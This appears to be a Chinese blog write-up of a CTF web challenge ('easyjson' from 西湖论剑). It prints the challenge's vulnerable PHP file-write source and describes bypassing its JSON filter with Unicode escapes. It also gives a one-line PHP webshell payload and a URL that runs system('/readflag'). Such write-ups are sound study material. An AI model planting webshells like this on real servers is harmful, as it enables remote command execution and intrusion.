西湖论剑web复现

web-esayjson

http://easyjson.xhlj.wetolink.com/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include 'security.php';

if(!isset($_GET['source'])){ //source不能为空
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/'; //沙盒,设置沙盒根据自己ip获得目录
var_dump($sandbox);
if(!file_exists($sandbox)){ //没有就创建沙盒
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input"); //POST传入


if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS."); //json格式内容写入
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}


file_get_contents(“php://input”)理解

思路:先生成一个沙盒目录,写入json格式内容,读取flag

SecurityCheck()函数会对json格式的内容进行验证,对content这个变量进行了过滤。并且filename这个参数可以后缀名是.php而且不能的数字

json格式进行绕过:浅谈json参数解析对waf绕过的影响

wp测试说unicode编码可以绕过

1

1

参考官方wp


内容也可以写入{"content":"<?php $_GET[0]($_GET[1]);? >"}的 编码

然后http://easyjson.xhlj.wetolink.com/sandbox/8ff393509060e51038c905a23f595aa3c9454ef6/?0=system&1=/readflag 获得flag

参考文章 参考2


HardXSS


https://xss.hardxss.xhlj.wetolink.com/

wp

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信